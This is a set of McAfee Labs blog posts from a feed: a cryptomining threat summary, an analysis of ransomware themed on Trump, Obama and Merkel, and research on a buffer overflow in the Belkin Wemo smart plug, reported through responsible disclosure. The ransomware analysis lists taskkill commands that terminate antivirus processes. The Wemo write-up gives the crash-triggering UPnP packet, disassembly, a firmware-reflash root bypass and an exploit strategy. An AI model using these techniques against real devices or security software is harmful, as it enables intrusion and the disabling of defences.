We at McAfee are working together with our entire industry to stop these types of attacks. We’re sharing threat intelligence, resources, and research findings to ensure we put up a united front against these threats. By learning from these attacks, we’re better preparing for those to come.

We believe that together is power. And though these attacks are advanced, we know that acting together to stop them will be even more powerful.

To learn more about McAfee’s approach to protecting against advanced cyberattacks and more, be sure to check us out at @McAfee and @McAfee_Labs.

 

The post When the Digital Impacts the Physical appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/when-the-digital-impacts-the-physical/feed/ 0
‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/#respond Tue, 25 Sep 2018 04:00:42 +0000 https://securingtomorrow.mcafee.com/?p=91541 As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
As we look over some of the key issues from the newly released McAfee Labs Threats Report, we read terms such as voice assistant, blockchain, billing fraud, and cryptojacking. Although voice assistants fall in a different category, the other three are closely linked and driven by the goal of fast, profitable attacks that result in a quick return on a cybercriminal’s investment.

One of the most significant shifts we see is that cryptojacking is still on the rise, while traditional ransomware attacks—aka “shoot and pray they pay”—are decreasing. Ransomware attacks are becoming more targeted as actors conduct their research to pick likely victims, breach their networks, and launch the malware followed by a high-pressure demand to pay the ransom. Although the total number of ransomware samples has fallen for two quarters, one family continues to spawn new variants. The Scarab ransomware family, which entered the threat landscape in June 2017, developed a dozen new variants in Q2. These variants combined make up more than 50% of the total number of Scarab samples to date.

What spiked the movement, starting in fall 2017, toward cryptojacking? The first reason is the value of cryptocurrency. If attacker can steal Bitcoins, for example, from a victim’s system, that’s enough. If direct theft is not possible, why not mine coins using a large number of hijacked systems. There’s no need to pay for hardware, electricity, or CPU cycles; it’s an easy way for criminals to earn money. We once thought that CPUs in routers and video-recording devices were useless for mining, but default or missing passwords wipe away this view. If an attacker can hijack enough systems, mining in high volume can be profitable. Not only individuals struggle with protecting against these attacks; companies suffer from them as well.

Securing cloud environments can be a challenge. Building applications in the cloud with container technology is effective and fast, but we also need to create the right amount of security controls. We have seen breaches in which bad actors uploaded their own containers and added them to a company’s cloud environment—which started to mine cryptocurrency.

New technologies and improvements to current ones are great, but we need to find the balance of securing them appropriately. Who would guess to use an embedded voice assistant to hack a computer? Who looks for potential attack vectors in new technologies and starts a dialog with the industry? One of those is the McAfee Advanced Threat Research team, which provides most of the analysis behind our threats reports. With a mix of the world’s best researchers in their key areas, they take on the challenge of making the (cyber) world safer. From testing vulnerabilities in new technologies to examining malware and the techniques of nation-state campaigns, we responsibly disclose our research to organizations and the industry. We take what we learn from analyzing attacks to evaluate, adapt, and innovate to improve our technology.

The post ‘McAfee Labs Threats Report’ Highlights Cryptojacking, Blockchain, Mobile Security Issues appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-threats-report-highlights-cryptojacking-blockchain-mobile-security-issues/feed/ 0
Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/#respond Wed, 19 Sep 2018 13:00:31 +0000 https://securingtomorrow.mcafee.com/?p=91531 In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat.

The post Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining appeared first on McAfee Blogs.

]]>
In response to the explosive increase in cryptomining campaigns in Q4 2017, the Cyber Threat Alliance has formed a cryptomining subcommittee to assess the threat. This committee comprises expert researchers from major cybersecurity companies, including McAfee. The committee has now released “The Illicit Cryptocurrency Mining Threat,” an in-depth report on the current state of unlawful cryptomining. In the report we explain what led to the recent rise in cryptomining-based attacks, their impact, defense recommendations, and predictions for future evolution of the attack. As members of the Cyber Threat Alliance and the cybersecurity community, we hope that individuals and enterprises can use our research to protect themselves from this threat and improve global security.

The Rise of Illicit Cryptocurrency Mining

To understand the cryptomining threat we need to go back only to late 2017 and early 2018 to see the dramatic growth of cryptomining incidents. Since 2017, the combined data of several CTA members shows a 459% increase in detections of mining malware.

(Figure numbers are out of sequence. They are borrowed from the CTA report.)

The increase of mining malware positively correlates with the growth of the value of coins. Specifically, in late 2017 we saw the value of Bitcoin soar to US$20,000 per coin. Anything with a high value attracts cybercriminals, and cryptocurrencies experienced some of the most dramatic volatility ever of any currency. Cybercriminals were early adopters of cryptocurrencies and use them to fuel underground economies. They have increasingly turned to mining to increase their funds by stealing the computer power of their victims. This theft is also referred to as cryptojacking.

Cryptocurrency and Mining 

Cryptocurrencies have become an increasingly popular alternative to traditional electronic money (e-money). E-money is based on a fiat currency such as the U.S. dollar. One of the most common examples is prepaid credit cards, which stand for the backing currency without the need for physical cash. Cryptocurrencies are generally not backed by a fiat currency. In fact, they are considered decentralized—meaning there is no central authority.

Monero has several advantages over Bitcoin in terms of privacy and anonymity; this makes it a favorite among bad actors. Beyond anonymity concerns, resources required to mine Monero are significantly lower, enabling more users to participate and increasing the profitability of botnets.

The act of generating the coin is called mining, which is using system resources to solve a complex mathematical problem. Most major coins employ a “proof of work” that uses CPU resources to solve. Large groups of miners, including botnets, can amass their resources, called pool mining, on a single problem. The mining operations result in a solved mathematical equation that returns newly minted coins to the system and validates new transactions.

The State of Illicit Cryptocurrency Mining

Current incidents of illicit cryptomining occur through compiled executables. This practice is called binary-based mining. In the context of the browser, the practice is called browser-based mining. Binary-based cryptomining malware is delivered as a payload, often using spam or exploit kits. Open-source tools often facilitate mining. XMRig is a legitimate tool for mining Monero, yet is also frequently used by malicious actors for illicit cryptomining.

The most common browser-based miner is Coinhive. Used legitimately, it offers an alternative to ad revenue by monetizing system resources. However, it has been widely used without informing users. On occasion the owner of the service is unaware of the mining code; this was the case with a recent attack against both Facebook Messenger and Starbucks Wi-Fi. As of July 2, PublicWWW yielded at least 23,000 websites hosting Coinhive code.

An example of Coinhive script embedded within a website.

Beyond using browsers to gather system resources, malware authors have become increasingly sophisticated in other ways. They have taken advantage of widespread vulnerabilities such as EternalBlue to propagate, or have implemented other techniques for evasion. The Smominru attack was a very profitable campaign leveraging this approach. It used “living off the land” techniques to evade detection and increase its ability to mine Monero.

Impacts of Illicit Cryptocurrency Mining

Cryptomining may have an impact on both the short- and long-term security of an organization or user. Three primary impact areas include:

  • Potential security flaws that can lead to additional attacks
  • Physical damage
  • Impacts to business operations and productivity

If a device is used in an unauthorized way, there is evidence of a potential security flaw that needs to be addressed. In late 2017, misconfigured devices using FTP led to hundreds of thousands of Monero miners on consumer-grade devices. Bad actors can and have used these same flaws for additional attacks against the systems.

Physical damage is also a concern. The CPU-intensive operation of mining will produce excess heat and power consumption. For small devices the immediate concern is battery life. However, for large systems, especially data centers, the activity can increase the failure rate of components; this can have a major effect on the system. Ultimately this may lead to costly repairs or increased hardware requirements to support the expanded load.

Organizations may also see a hit to business operations. Mass-computing projects present a similar concern, albeit for more altruistic purposes. Folding@Home, a medical research project aimed at understanding proteins, can be installed to use computer resources to help the research. However, business operations may be impacted by a loss of productivity or additional costs. Many businesses prohibit installing these types of computing projects to protect against unexpected costs and disruptions.

Recommended Best Practices

Fortunately, the defense against cryptomining is very similar to that against other threats. Cryptomining malware uses the same tools and methods; thus maintaining good security practices goes a long way. These include analysis of non-typical network traffic, and properly configuring and patching systems. A few additional steps specific to cryptomining:

  • Monitor abnormal power consumption and CPU activity
  • Search logs for related mining strings such as Crypto, Coinhive, XMR, Monero, and cpuminer
  • Block mining pool communications
  • Use browser extensions to protect against browser-based cryptocurrency mining

For a more comprehensive list, including recommended Snort rules, see the Recommended Best Practices section of the report.

The Evolution of Illicit Mining

Illicit cryptocurrency mining appears to have a positive correlation with Bitcoin value. As long as cryptocurrencies such as Bitcoin have value, we expect bad actors will continue to mine for profits. Although public cryptocurrencies like Bitcoin may be closely tied to monetary value, private or custom blockchains are also at risk and also need to prepare against future attacks.

Private blockchains, including non-currency-related ones, may carry unique risks. Large blockchains such as Bitcoin are considered immutable due to the difficulty of changing historical ledger data. Private blockchains inherently lack the same scale of adoption and thus may be more susceptible to attacks. The 51% attack is a well-known threat that can take advantage of a smaller network and have a severe impact on the blockchain’s integrity.

With some nation-states already turning to cryptocurrencies to solve economic issues, it is likely that some nation-states will use illicit mining to gain revenue. State-sponsored actors have already been implicated in the theft of cryptocurrencies, as McAfee has reported. Legitimately mined cryptocurrency has been implicated in obfuscating state-sponsored cyber operations, hiding purchases of VPN accounts, servers, and domain registrations.

Conclusion

“The Illicit Cryptocurrency Mining Threat” represents the first joint industry initiative to educate enterprises and consumers about the growing threat of cryptocurrency mining. By improving security postures and adhering to proper security practices, we can increase the difficulty of these attacks succeeding, thus disrupting malicious behavior. Illicit cryptocurrency mining is not a fad. This problem will likely grow in relation to the value of cryptocurrencies. Current infection methods will give way to new techniques and exploits. The attraction of stealing cryptocurrencies may lead actors to develop targeted attacks against private implementations of blockchain as they become more prevalent. For more on illicit cryptomining threats, read the introductory blog, key findings summary, and the full report to learn about this important research.

The post Cyber Threat Alliance Releases Analysis of Illicit Cryptocurrency Mining appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/cyber-threat-alliance-releases-analysis-of-illicit-cryptocurrency-mining/feed/ 0
Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/#respond Tue, 18 Sep 2018 04:01:37 +0000 https://securingtomorrow.mcafee.com/?p=91510 Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its […]

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
Politics and ransomware. No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers. Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting. Despite its claims, does the “Obama campaign” deliver the ransomware it advertises? Well, perhaps not.

The Obama campaign

Recently identified by the MalwareHunterTeam and documented by Bleeping Computer, the Obama campaign displayed some confusing characteristics. For example, it encrypted only .exe files and asked for a tip to decrypt the files. This campaign does not behave like normal ransomware variants, which typically target user data files rather than .exe files.

This unorthodoxy got us thinking: Was there a nation-state behind this campaign? At present, there is not enough evidence to confirm its source, although the language resources are in simplified Chinese. We discovered the following graph inside the ransomware:

As the MalwareHunterTeam documented, the ransomware attempts to kill processes associated with certain antimalware products:

  • .rdata:004DAC80 0000001B C taskkill /f /im kavsvc.exe
  • .rdata:004DAC9B 00000019 C taskkill /f /im KVXP.kxp
  • .rdata:004DACB4 00000018 C taskkill /f /im Rav.exe
  • .rdata:004DACCC 0000001B C taskkill /f /im Ravmon.exe
  • .rdata:004DACE7 0000001D C taskkill /f /im Mcshield.exe
  • .rdata:004DAD04 0000001D C taskkill /f /im VsTskMgr.exe
  • .rdata:004DAD21 00000024 C SOFTWARE\\360Safe\\safemon\\ExecAccess
  • .rdata:004DAD45 00000023 C SOFTWARE\\360Safe\\safemon\\MonAccess
  • .rdata:004DAD68 00000024 C SOFTWARE\\360Safe\\safemon\\SiteAccess
  • .rdata:004DAD8C 00000025 C SOFTWARE\\360Safe\\safemon\\UDiskAccess

Note, however, that the access protection enabled within McAfee software prevented the termination of this process:

These curiosities made us wonder about the purpose of the ransomware. Was this indeed ransomware and, if so, why encrypt only .exe files? Our initial suspicions were immediately confirmed when we found a cryptocurrency coin mining component within the malware. In fact, the miner sample was almost identical to the ransomware component, with almost 80% code reuse. These similarities are highlighted below.

Executable extension search function:

Code flow in the “Obama campaign” ransomware.

Code flow in the coin miner sample.

We also found this URL pointing to an FTP server:

  • FtpMoney812345 db ‘ftp://money8:12345678@xxxxxxxxxx.net/88.txt

The Trump campaign

A ransomware campaign leveraging images of Donald Trump has been previously documented. Is it possible that the two politicians are aligned with the same cybercriminal group looking to exploit their profiles?

  

As previously reported, this variant was only a development version—encrypting files with AES and using the following .encrypted extension:

However, this ransomware can “decrypt” the files if one clicks on an “unlock files” button.

Code referencing decryption by button click:

And for unlocking files:

The Angela Merkel campaign 

 

The use of Angela Merkel and her profile is new to the discussion. “Her” campaign encrypts files using the .angelamerkel extension. The original name of this ransomware was ChromeUpadter.exe; it also uses AES to encrypt files. It employs the Euro in its ransom demands. Perhaps a European figure evokes the Euro?

This ransomware encrypts the following files:

Malware developers are fond of exploiting famous names to lure unsuspecting victims. Although it would be simple to claim an increase in politically motivated ransomware, or rather ransomware that leverages the profiles of political figures, there is no significant evidence to suggest they are from the same threat actor. Equally, these campaigns might not even be ransomware, certainly in the case of the Obama campaign.

Does this examination suggest three separate campaigns? There are some links and, no, they are not between Obama and Trump. The Trump and Merkel ransomware are 46% identical in code. We are left wondering whose campaign is the most successful. We shall see.

The post Political Figures Differ Online: Names of Trump, Obama, Merkel Attached to Ransomware Campaigns appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/political-figures-differ-online-names-of-trump-obama-merkel-attached-to-ransomware-campaigns/feed/ 0
McAfee Opens State-of-the-Art Security Research Lab in Oregon https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/#respond Wed, 22 Aug 2018 17:00:56 +0000 https://securingtomorrow.mcafee.com/?p=90950 Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland.

The post McAfee Opens State-of-the-Art Security Research Lab in Oregon appeared first on McAfee Blogs.

]]>
McAfee’s Advanced Threat Research team has operated from several locations around the world for many years. Today we are pleased to announce the grand opening of our dedicated research lab in the Hillsboro, Oregon, office near Portland. Although we have smaller labs in other locations, the new McAfee Advanced Threat Research Lab was created to serve two purposes. First, it gives our talented researchers an appropriate work space with access to high-end hardware and electronics for discovery, analysis, automation, and exploitation of vulnerabilities in software, firmware, and hardware. Second, the lab will serve as a demo facility, where the Advanced Threat Research team can showcase current research and live demos to customers or potential customers, law enforcement partners, academia, and even vendors.

The lab has been a labor of love for the past year, with many of the team members directly contributing to the final product. Visitors will have the unique opportunity to experience live and recorded demos in key industry research areas, including medical devices, autonomous and connected vehicles, software-defined radio, home and business IoT, blockchain attacks, and even lock picking! Our goal is to make vulnerability research a tangible and relatable concept, and to shed light on the many security issues that plague nearly every industry in the world.

Much of the research highlighted in the lab has been disclosed by McAfee. Links to recent disclosures from the Advanced Threat Research team:

Articles

Podcasts

Security researcher Douglas McKee prepares his demo of hacking a medical patient’s vitals. 

Onsite visitors will have the opportunity to solve a unique, multipart cryptographic challenge, painted on our custom mural wall in the lab. Those who are successful will receive an Advanced Threat Research team challenge coin! We will soon have an official video from the lab’s opening event online.

The post McAfee Opens State-of-the-Art Security Research Lab in Oregon appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-opens-state-of-the-art-security-research-lab-in-oregon/feed/ 0
‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/insight-into-home-automation-reveals-vulnerability-in-simple-iot-product/#respond Tue, 21 Aug 2018 04:01:35 +0000 https://securingtomorrow.mcafee.com/?p=91018 Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report.  The Internet of Things promises to make our lives easier. Want to remotely turn lights and appliances on and off and monitor them online? A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method. But IoT devices can turn into attack […]

The post ‘Insight’ into Home Automation Reveals Vulnerability in Simple IoT Product appeared first on McAfee Blogs.

]]>
Eoin Carroll, Charles McFarland, Kevin McGrath, and Mark Bereza contributed to this report. 

The Internet of Things promises to make our lives easier. Want to remotely turn lights and appliances on and off and monitor them online? A “smart plug,” a Wi-Fi–connected electric outlet, is one simple method. But IoT devices can turn into attack vectors if they are not properly secured.

The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help their developers provide safer products for businesses and consumers. We recently investigated a consumer product produced by Belkin. Our research into the Wemo Insight Smart Plug led to the discovery of an unreported buffer overflow in the libUPnPHndlr.so library. This flaw, CVE-2018-6692, allows an attacker to execute remote code. Following our responsible disclosure policy, we reported this research to Belkin on May 21.

Can this vulnerability lead to a useful attack? A smart plug by itself has a low impact. An attacker could turn off the switch or at worst possibly overload the switch. But if the plug is networked with other devices, the potential threat grows. The plug could now be an entry point to a larger attack. Later in this report, we will look at one possible attack.

Exploring the attack surface

Following the manual’s advice, the team used the Wemo phone application to set up the smart plug. We were able to remotely turn the outlet on and off. We then tested the software, including port scanning, monitoring normal network traffic, and reading online research. The Wemo listens on Universal Plug and Play (UPnP) ports TCP 49152 and 49153. The manuals, disassembly images, and the general-purpose programming language (GPL) were all online; they provided information on CPU architecture, the operating system, and applications.

We turned to the hardware and disassembled the device. We identified chips on the main board, found headers for communicating with the device, and pulled the memory off flash. Our online research provided datasheets for each of the chips on the board.

We found universal asynchronous receiver-transmitter (UART) pads on the board and confirmed them with the documentation. We soldered wires to these headers to discover if they were actively transmitting. To test communication with the device, we used an Exodus XI Breakout board, shown below:

After brute-forcing the baud rate, we were able to get debug information via the UART interface. The UART also provided a login prompt; however, neither online research nor simple guessing led us to a working password.

Extraction and firmware analysis

The flash chip discovered on the board was a Maxronix MX25L12835F, which is supported by flashrom, a well-known open-source tool for extracting firmware. Using flashrom and the XI Breakout board, we extracted the firmware from the Wemo device. After we obtained the original firmware image shipped with the device, we updated it using the Wemo mobile application. Once the device was updated, we again extracted the firmware from the device, providing us with a second image. We ran basic sanity checks with the new firmware to ensure our earlier software reconnaissance had not changed.

With the firmware extracted, we analyzed the firmware using binwalk, an open-source binary analysis tool. Binwalk extracted the file system from the firmware for further inspection. Access to the file system allowed us to review system configuration and access binaries.

Finding a vulnerability 

Network or remote vulnerabilities are more dangerous than local flaws, so we took a close look at the UPnP ports listening on the local network. During this testing phase our lead analyst was taking a class on Exodus Intelligence Embedded Exploitation. One of the class instructors, Elvis Collado (@b1ack0wl) was developing a UPnP fuzzer and offered to assist our efforts. Using this tool we started fuzzing the open UPnP ports, while monitoring the UART interface on the Wemo. After a short time we saw a crash on the UART interface.

11:37:16.702 stuntsx0x46ac6 STUN client transaction destroyed
sending SIGSEGV to wemoApp for invalid write access to
464d4945 (epc == 2ac1fb58, ra == 2ac1fccc)
Cpu 0
$ 0 : 00000000 00000001 0000006d 464d4945
$ 4 : 31d2e654 31d2e770 00000003 00000001
$ 8 : 0000007c fffffff8 00000007 00000002
$12 : 00000200 00000100 00000807 00000800
$16 : 31d2e6f0 31d2e898 004a1cb8 00000002
$20 : 31d2e638 31d2e6c0 004a1388 31d2e640
$24 : 00000400 2ac1fb30
$28 : 2ac77d40 31d2e600 31d2e648 2ac1fccc
Hi : 00000008
Lo : 00000000
epc : 2ac1fb58 Tainted: P
ra : 2ac1fccc Status: 0100fc13 USER EXL IE
Cause : 8080000c
BadVA : 464d4945
PrId : 0001964c
Modules linked in: softdog rt_rdm rt2860v2_ap(P) raeth
Process wemoApp (pid: 2157, threadinfo=80fa0000, task=802c87f0)
Stack : 2a0000d0 fffffffe 31d2e6f0 31d2e770 31d2e76f 31d2e6f0 31d2e6f0 31d2e770
00000000 31d2e604 00000000 00000000 2ac77d40 00000000 4f464751 4a484d4c
4e444241 47454f49 50464658 45414d42 43445044 464d4945 5552414c 46495048
4b524141 41445a4f 44534e4a 4e4e494c 44434357 494a4855 44515455 44494b45
55584a44 584e4f52 545a5247 51545954 595a4c42 4e594a45 484f5158 46474944

Call Trace:

Code: 80a20000 50480004 a0600000 <5440fffa> a0620000 a0600000 10a00006 24840004 24a50001
thready: Destructor freeing name “ChildFDTask”.
Aborted

After repeating and closely observing the experiment several times, we determined that the crash was caused by the following packet:

POST /upnp/control/basicevent1 HTTP/1.1
Host: 192.168.225.183:49154
User-Agent: python-requests/2.9.1
Accept: */*
Connection: keep-alive
SOAPAction: “urn:Belkin:service:basicevent:1#UpdateInsightHomeSettings”
Content-Type: text/xml
Accept-Encoding: gzip, deflate
Content-Length: 3253

<?xml version=”1.0″ ?><s:Envelope s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/” xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/”><s:Body><b1ack0wl_ns:UpdateInsightHomeSettingsxmlns:b1ack0wl_ns=”urn:Belkin:service:basicevent:1″><EnergyPerUnitCost>210</EnergyPerUnitCost><Currency>236</Currency><EnergyPerUnitCostVersion>KWWZWIVYBQZKDGSSAAPBCQVQQFAVYZEOEUFIDXXQPDYGESTOD
GIJFERXZNMYAFJQLUZPSIJXFQSPADCRIVHDAJLLPQMPLAVECIQUWLXDLIGPLBKCROGPOCVUI
KTSLIIXULOEBVFKWIERCFGHWHCBBDLWFBKBZXAVGRKTDALDNRPOFQJDXAEOC(…snip…)XHU
OUZPCHUBFGLLWSJBFYFOMCGZZMJIQIUVCDETFBRBZVDVKNBVZFBRSVBSZPAYKZYNQZEQPDV
DWSZNDUPUDCPAVWNFBFBTYMXTBNCWTBJPKORUBHBSCQBPOPOBZNVADMGWRI
</EnergyPerUnitCostVersion></b1ack0wl_ns:UpdateInsightHomeSettings></s:Body></s:Envelope>

For space reasons some of the payload has been removed. (The original data in “EnergyPerUnitCostVersion” was 2,828 characters.) After examining the crash data and the packet, this appears to be a standard buffer overflow, in which data is being overwritten onto the stack. We continued fuzzing, now focused on the “EnergyPerUnitCost” field and found we needed only 32 characters to crash the application.

Although the crash dump provides us with a lot of good information, there is still a lot we do not know. For example, the crash occurs in the “WemoApp” and provides us an offset, but what is the base address of this library? What has been overwritten on the stack? Without access to the application during runtime these questions are difficult to answer. Because we obtained the file system earlier, we could statically analyze the WemoApp binary; but we would still be unable to determine the exact point of the crash easily.

To answer these questions we needed to take one of two paths. We could virtualize the Wemo firmware or binary to continue testing; or if we could determine the root password on the UART interface, there is a chance we could debug on the device itself. Generally, virtualizing firmware is not simple and can sometimes lead to inaccurate test results. It is better to debug on the device. With all the information we found during reconnaissance, it seemed promising that we could bypass the root password. (We did spend some time attempting to virtualize the WemoApp—with no success.)

Bypassing the root password

From the extracted file system, we learned the Wemo runs the embedded Linux system OpenWRT, with the user account information held in either the standard /etc/passwd or /etc/shadow files. We extracted the hash for the root password from /etc/passwd and submitted it to a cracking rig. This method proved ineffective in a reasonable amount of time.

With our ability to read the flash chip we had a good chance to write to the chip. Barring any checksum or validations done on the firmware, we might be able to replace the /etc/passwd file with a known password.

To test this theory, we would have to repack the firmware. Since the GPL for the Wemo is public, we chose to use the same tools used by the developers. Using the GPL, we compiled the same version of squash tools 3.0 with Izma and repackaged the firmware file system with a modified /etc/passwd file. We added padding to ensure the firmware section was the same size as the original. We then used “dd” to insert the new file system segment into the firmware binary. During this process, we discovered that using binwalk to extract the firmware prevented us from correctly repackaging the firmware. We used “dd” with the information provided by binwalk to extract the correct section of the firmware binary for repackaging.

With a new firmware binary in hand, we used the XI Breakout board and flashrom to write the firmware to the flash chip on the board. After rebooting the device, we were able to log in using the new password.

Analyzing the crash 

With root access on the Wemo, we could gather more information about the crash during the UPnP fuzzing. First, we needed to compile the tools required to perform more in-depth analysis for this specific architecture. Using the GPL, we compiled gdbserver and gdb for the device. The Wemo had a large amount of installed tools, such as “wget,” making it simple to add files. We downloaded and executed the tools from the /tmp directory.

After a large amount of trying, we failed to get gdb running directly or remotely with the device. So we used gdbserver, in conjunction with Interactive Disassembler Pro, for all debugging. With the debugger connected, we sent the packet causing the crash and saw the exact location of the crash. A segmentation fault occurred at address 0x2AC15B98. From the memory layout from the Linux “proc” directory, we determined his memory address resides in library libUPnPHndlr.so.

2abf3000-2ac4d000 r-xp 00000000 1f:02 82 /rom/lib/libUPnPHndlr.so

Because the crash was caused by a UPnP packet, it was logical to find the crash inside this library . With the base address 0x2abf3000, we calculated the offset for static analysis in IDA to be 0x22b98.  At this address, we found the following:

LOAD:00022B70  # =============== S U B R O U T I N E =======================================

LOAD:00022B70

LOAD:00022B70

LOAD:00022B70                 .globl TokenParser

LOAD:00022B70 TokenParser:                             # CODE XREF: ProcessEnergyPerunitCostNotify+84↓p

LOAD:00022B70                                          # DATA XREF: LOAD:00004210↑o …

LOAD:00022B70                 beqz    $a1, locret_22BC0

LOAD:00022B74                 move    $a3, $zero

LOAD:00022B78                 move    $a3, $zero

LOAD:00022B7C                 b       loc_22BB4

LOAD:00022B80                 li      $t0, 0x7C  # ‘|’

LOAD:00022B84  # —————————————————————————

LOAD:00022B84

LOAD:00022B84 loc_22B84:                               # CODE XREF: TokenParser+28↓j

LOAD:00022B84                 addiu   $a1, 1

LOAD:00022B88                 addiu   $v1, 1

LOAD:00022B8C

LOAD:00022B8C loc_22B8C:                               # CODE XREF: TokenParser+48↓j

LOAD:00022B8C                 lb      $v0, 0($a1)

LOAD:00022B90                 beql    $v0, $t0, loc_22BA4

LOAD:00022B94                 sb      $zero, 0($v1)

LOAD:00022B98                 bnezl   $v0, loc_22B84

LOAD:00022B9C                 sb      $v0, 0($v1)

LOAD:00022BA0                 sb      $zero, 0($v1)

LOAD:00022BA4

LOAD:00022BA4 loc_22BA4:                               # CODE XREF: TokenParser+20↑j

LOAD:00022BA4                 beqz    $a1, locret_22BC0

LOAD:00022BA8                 addiu   $a0, 4

LOAD:00022BAC                 addiu   $a1, 1

LOAD:00022BB0                 addiu   $a3, 1

LOAD:00022BB4

LOAD:00022BB4 loc_22BB4:                               # CODE XREF: TokenParser+C↑j

LOAD:00022BB4                 slt     $v0, $a3, $a2

LOAD:00022BB8                 bnezl   $v0, loc_22B8C

LOAD:00022BBC                 lw      $v1, 0($a0)

LOAD:00022BC0

LOAD:00022BC0 locret_22BC0:                            # CODE XREF: TokenParser↑j

LOAD:00022BC0                                          # TokenParser:loc_22BA4↑j

LOAD:00022BC0                 jr      $ra

LOAD:00022BC4                 move    $v0, $a3

LOAD:00022BC4  # End of function TokenParser

 

Because the developers left the binary unstripped, we can name this function TokenParser. The segmentation fault occurs at a branch instruction; however, in MIPS the delay instruction is executed before the branch occurs. Thus the instruction at 0x22B9C is causing the crash. Here the application attempts to load what is at the address stored in $v1 and place it in $v0. Taking a look at the registers, we find the data from our packet in XML tags “EnergyPerUnitCostVersion” is in $v1, leading to an “invalid write access” segmentation fault error.

After statically analyzing the function, it appears to copy data from one section to another, looking three times for a 0x7C or “|” character. If it never finds the “|,” it keeps copying into a statically defined buffer. To fully understand why the overwrite occurs, let’s take a look at the stack as we step through the function:

2EF17630 2AC692F0 MEMORY:2AC692F0
2EF17634 00000000 MEMORY:saved_fp
2EF17638 34333231 MEMORY:34333231 ← previously copied data
2EF1763C 00000035 MEMORY:retaddr+31  ← next byte will be written at 0x2EF1763D
2EF17640 00000000 MEMORY:saved_fp  ← zeroed out memory prepared for the copy
2EF17644 00000000 MEMORY:saved_fp
2EF17648 00000000 MEMORY:saved_fp
2EF1764C 00000000 MEMORY:saved_fp
2EF17650 2EF17638 MEMORY:2EF17638 ← start writing at this address; can be overwritten

As the function copies data onto the stack, it eventually copies over the address for the original buffer. Once this address is overwritten, the function attempts to write the next byte at the new value, in this case is an invalid address. This overflow gives an attacker two exploitable vectors: a write-what-where condition allows an attacker to write data to an arbitrary location in memory; by continuing to overwrite data on the stack, an attacker can overwrite the $RA register or return address for the calling function, providing the attacker control of the execution flow.

Writing the exploit

Now that that we understand the vulnerability, can we exploit it? Because this is a standard buffer overflow, we need to answer two questions. How much room is available on the stack, and are there any “bad” bytes that cannot make it onto the stack? To determine the available room, we can examine how much of the payload makes it onto the stack if we repair the address overwritten on the stack with a valid address. We learned only 91 bytes can be written onto the stack.

The next step is to determine if there are any “bad” bytes. After running a few tests, we noticed that only ASCII characters can make it onto the stack. Before the vulnerable code is executed, the packet is parsed by the open-source XML parser “mxml.” This library follows the standard of allowing only ASCII and Unicode characters to exist between tags.

This standard is very problematic for both shellcode and return-oriented programming (ROP) techniques because both memory address and shellcode tend to use mostly nonreadable characters. We could use several techniques to combat room on the stack; however, due to the hard limitation on characters that will pass through the XML sanitization process, it would be best to use functions that are already loaded into memory. One method that does not require extensive shellcode is to use a “return to libc” attack to execute the system command. Because the system call typically takes a string as a parameter, this might pass through the filter. Because the Wemo does not use address space layout randomization, if we use ROP it would be theoretically possible to make a call to system without needing to pass additional shellcode through the XML filter.

